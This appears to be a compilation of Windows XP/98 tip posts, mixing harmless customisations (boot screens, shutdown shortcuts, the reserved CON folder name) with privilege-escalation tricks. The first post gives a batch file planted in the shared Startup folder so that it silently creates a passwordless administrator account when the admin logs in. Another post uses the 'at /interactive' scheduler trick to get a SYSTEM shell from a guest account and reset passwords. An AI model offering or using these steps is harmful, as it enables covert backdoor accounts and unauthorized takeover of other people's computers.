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Create admin account from Guest

To create an administrator account is easy. You just need to use your guest account and create one administrator account instantly. Just follow the steps :
Open Notepad, paste the following :

@echo off
net user Newadmin /add /expires:never /passwordreq:no

net localgroup “Administrators” /add Newadmin

And save it to a bat file.

Now place this bat file in location local:\Documents and Settings\All Users\Start Menu\Programs\Startup

And when your admin logs into the system, the new account will be automatically created without the notice of the user. Next time when you login, you will get the user account for you.

Cheers.

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Well, Have you tried to create A folder named CON in Windows

Well, Try to create a folder in windows platform with the name CON, AUX, COM1, COM2, COM3, COM4, LPT1, LPT2, LPT3, PRN, NUL….

You cant able to do it…
Its just because of some system calls of this services already been there for those names. So If you try to create or delete those system calls, It will restrict you in doing them… But I have a solution to this..
Try the following steps.. :

STEP1: goto command prompt

STEP2: type in prompt c:\> "md \\.\c:\con"

STEP3: verify by typing "dir \\.\c:\con"

STEP4: delete the file or folder "rd \\.\c:\con"
Now you can see a folder named con in your c drive… Give replies…

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Convert Windows XP Guest Account to Admin

Using simple command line tools on a machine running Windows XP we
will obtain system level privileges, and run the entire explorer
process (Desktop), and all processes that run from it have system
privileges. The system run level is higher than administrator, and has
full control of the operating system and it’s kernel. On many machines
this can be exploited even with the guest account.

Follow these steps:
1. open command prompt (Start->Run->cmd),
2. enter the following command, then press ENTER]:
at 15:25 /interactive “cmd.exe”
Lets
break down the preceding code. The “at” told the machine to run the at
command, everything after that are the operators for the command, the
important thing here, is to change the time (24 hour format) to one
minute after the time currently set on your computers clock, for
example: If your computer’s clock says it’s 4:30pm, convert this to 24
hour format (16:30) then use 16:31 as the time in the command.
When
the system clock reaches the time you set, then a new command prompt
will magically run. You’ll notice that the title bar has changed from
cmd.exe to svchost.exe (which is short for Service Host). Now that we
have our system command prompt, you may close the old one. The
difference is that this one is running with system privileges (because
it was started by the task scheduler service, which runs under the
Local System account).
3. enter the following command, then press ENTER]:
compmgmt.msc
this will open the computer management console
4. Go to local users and groups->users.
Right click on any user and select "set password".
its done now…

if it says access denied do this

start>run>cmd

net use \\(your ip add)\IPS$ /u:Administrator

or

start>run>cmd
then use following commands
1) net user test /add (this command will make test named user)
2) net localgroup administrators test /add (this command will make test user as administrators rights)

and use net user command to reset your admin. password

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Changing the Boot Screen of Windows XP

Well, To change the boot screen, you first need to download appropriate boot screen from the personal website. There are lots of bootscreen in different websites like themexp.org. First download those files from there. The names of all the files will be like ntskrnl.exe. Just backup the original file from your windows/system32 directory. And just paste it there. Or you can rename the new file just downloaded to another name, say abc.exe. and paste it to the windows/system32 directory. If the file name is changed, you need to add an entry to the boot.ini file. Just open my computer and type c:\boot.ini in the address bar. you will be given with a text editor. just in the last line paste like the following..
multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn /KERNEL=abc.exe
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Exiting windows In Cool Quick way

Normally it takes a hell lot of time just Shutting down Windows, you have to move your mouse to the Start Button, click on it, move it again over Shut Down, click, then move it
over the necessary option and click, then move the cursor over the OK button and once again (you guessed it) click.This whole process can be shortened by creating shortcuts on the Desktop which will shut down Windows at the click of a button. Start by creating a new shortcut( right click and select New> Shortcut). Then in the command line box, type (without the quotes.)
‘C:\windows\rundll.exe user.exe,exitwindowsexec’
This Shortcut on clicking will restart Windows immediately without any Warning. To create a Shortcut to Restarting Windows, type the following in the Command Line box:
‘c:\windows\rundll.exe user.exe,exitwindows’
This Shortcut on clicking will shut down Windows immediately without any Warning.
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Replace Windows Startup and shutdown screen in Win98

Do you dislike the Windows startup and shutdown screens, and wish to replace them with your own images? Here’s how:
1. On your c:\ drive (root directory), you will find the following files:
LOGO.SYS startup screen LOGOS.SYS shutdown screen
LOGOW.SYS "wait to shutdown" screen
2. COPY these files to a floppy disk before attempting to alter them. You may want to replace them if you decide or need to use them again.
3. Despite the .sys extensions, these files are standard bitmaps (.bmp files)
Once you’ve copied them, change the extension on one of your copies to .bmp and view it in Ms.Paint Check the IMAGE, ATTRIBUTES menu and note that it is 320 pixels (pels) wide and 400 pixels high.
4. Before you replace any of these images, you need to find or create, or crop a bitmap image to 320 x 400. Choose your image, and set the size in IMAGE, ATTRIBUTES in Ms.Paint.
5. Save your new image to your floppy disk, naming it after the logo file you intend to replace (using the .sys extension).
6. Now, on the c:\ drive, change the extension of the original logo file (the one you are replacing) to .bmp. This way, you’ll have two originals in case of trouble -one on your c:\ drive and one on your floppy disk.
7. Now, move your new logo file into your root c:\ directory. The next time you start up or shut down, you’ll see your new screen.
8. If you don’t like your new image, move it out of your root directory and replace it with one of your original files (with the .sys extension).
Be sure to do this before you exit and re-enter Windows.
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